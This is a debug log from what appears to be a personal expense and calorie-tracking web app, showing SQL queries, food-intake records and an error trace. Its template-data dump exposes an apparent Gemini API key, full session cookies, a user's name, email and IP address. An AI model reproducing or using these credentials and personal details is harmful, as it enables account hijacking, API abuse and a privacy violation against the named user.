    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T12:12:47.733Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T12:12:47.733Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T12:12:47.733Z server-connect:app Executing action step identify
2025-12-13T12:12:47.733Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:47.733Z server-connect:output identity: 1
2025-12-13T12:12:47.733Z server-connect:app Executing action step restrict
2025-12-13T12:12:47.733Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:47.734Z server-connect:app Executing action step identify
2025-12-13T12:12:47.734Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:47.734Z server-connect:output identity: 1
2025-12-13T12:12:47.734Z server-connect:app Executing action step restrict
2025-12-13T12:12:47.734Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:47.735Z server-connect:output restrict: undefined
2025-12-13T12:12:47.735Z server-connect:app Executing action step single
2025-12-13T12:12:47.735Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T12:12:47.735Z server-connect:output restrict: undefined
2025-12-13T12:12:47.735Z server-connect:app Executing action step single
2025-12-13T12:12:47.735Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T12:12:47.736Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T12:12:47.736Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T12:12:47.736Z server-connect:app Executing action step select
2025-12-13T12:12:47.736Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T12:12:47.738Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  },
  {
    id: 380,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 320,
    protein_gm: 7,
    carbs_gm: 45,
    fat_gm: 18,
    quantity: '1 piece',
    replacements: 'Grilled Paneer Tikka (higher protein, lower fat if grilled),Moong Dal Cheela (lentil pancake, higher protein, less oil),Sprouts Salad (very low calorie, high fiber),Baked Vada Pav (reduces fat from deep-frying)',
    created_at: '2025-12-13T06:42:46.000Z',
    skip_level: 3,
    skip_reason: "Deep-fried and high in refined carbohydrates (white bread, potato) and unhealthy fats. It's calorie-dense but relatively low in protein and micronutrients, making it suboptimal for muscle development and lean mass gain, especially with a desk job where overall calorie expenditure might be lower outside of gym time."
  }
]
2025-12-13T12:12:47.738Z server-connect:app Executing action step setvalue
2025-12-13T12:12:47.738Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T12:12:47.738Z server-connect:output var_total: 1031
2025-12-13T12:12:47.738Z server-connect:app Executing action step setvalue
2025-12-13T12:12:47.738Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T12:12:47.738Z server-connect:output var_consumed: 43
2025-12-13T12:12:47.738Z server-connect:app Executing action step setvalue
2025-12-13T12:12:47.738Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T12:12:47.738Z server-connect:output var_deficit: 1369
2025-12-13T12:12:47.738Z server-connect:app Executing action step custom
2025-12-13T12:12:47.738Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T12:12:47.739Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1031',
    surplus_or_deficit: '1369',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 12:39:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 12:39:37' as DATETIME)"
}
2025-12-13T13:18:25.546Z server-connect:router Serving templateView /
2025-12-13T13:18:25.547Z server-connect:app Executing action step identify
2025-12-13T13:18:25.547Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:25.547Z server-connect:output identity: 1
2025-12-13T13:18:25.547Z server-connect:app Executing action step restrict
2025-12-13T13:18:25.547Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:18:25.549Z server-connect:output restrict: undefined
2025-12-13T13:18:25.549Z server-connect:app Executing action step restrict
2025-12-13T13:18:25.549Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:18:25.549Z server-connect:output restrict: undefined
2025-12-13T13:18:25.549Z server-connect:router Render template layouts/main
2025-12-13T13:18:25.549Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T13:18:26.678Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T13:18:26.679Z server-connect:app Executing action step identify
2025-12-13T13:18:26.679Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:26.679Z server-connect:output identity: 1
2025-12-13T13:18:26.679Z server-connect:app Executing action step restrict
2025-12-13T13:18:26.680Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:18:26.680Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T13:18:26.680Z server-connect:output restrict: undefined
2025-12-13T13:18:26.680Z server-connect:app Executing action step single
2025-12-13T13:18:26.681Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T13:18:26.681Z server-connect:app Executing action step identify
2025-12-13T13:18:26.681Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:26.681Z server-connect:output identity: 1
2025-12-13T13:18:26.681Z server-connect:app Executing action step restrict
2025-12-13T13:18:26.681Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:18:26.682Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T13:18:26.683Z server-connect:output restrict: undefined
2025-12-13T13:18:26.683Z server-connect:app Executing action step select
2025-12-13T13:18:26.683Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T13:18:26.688Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
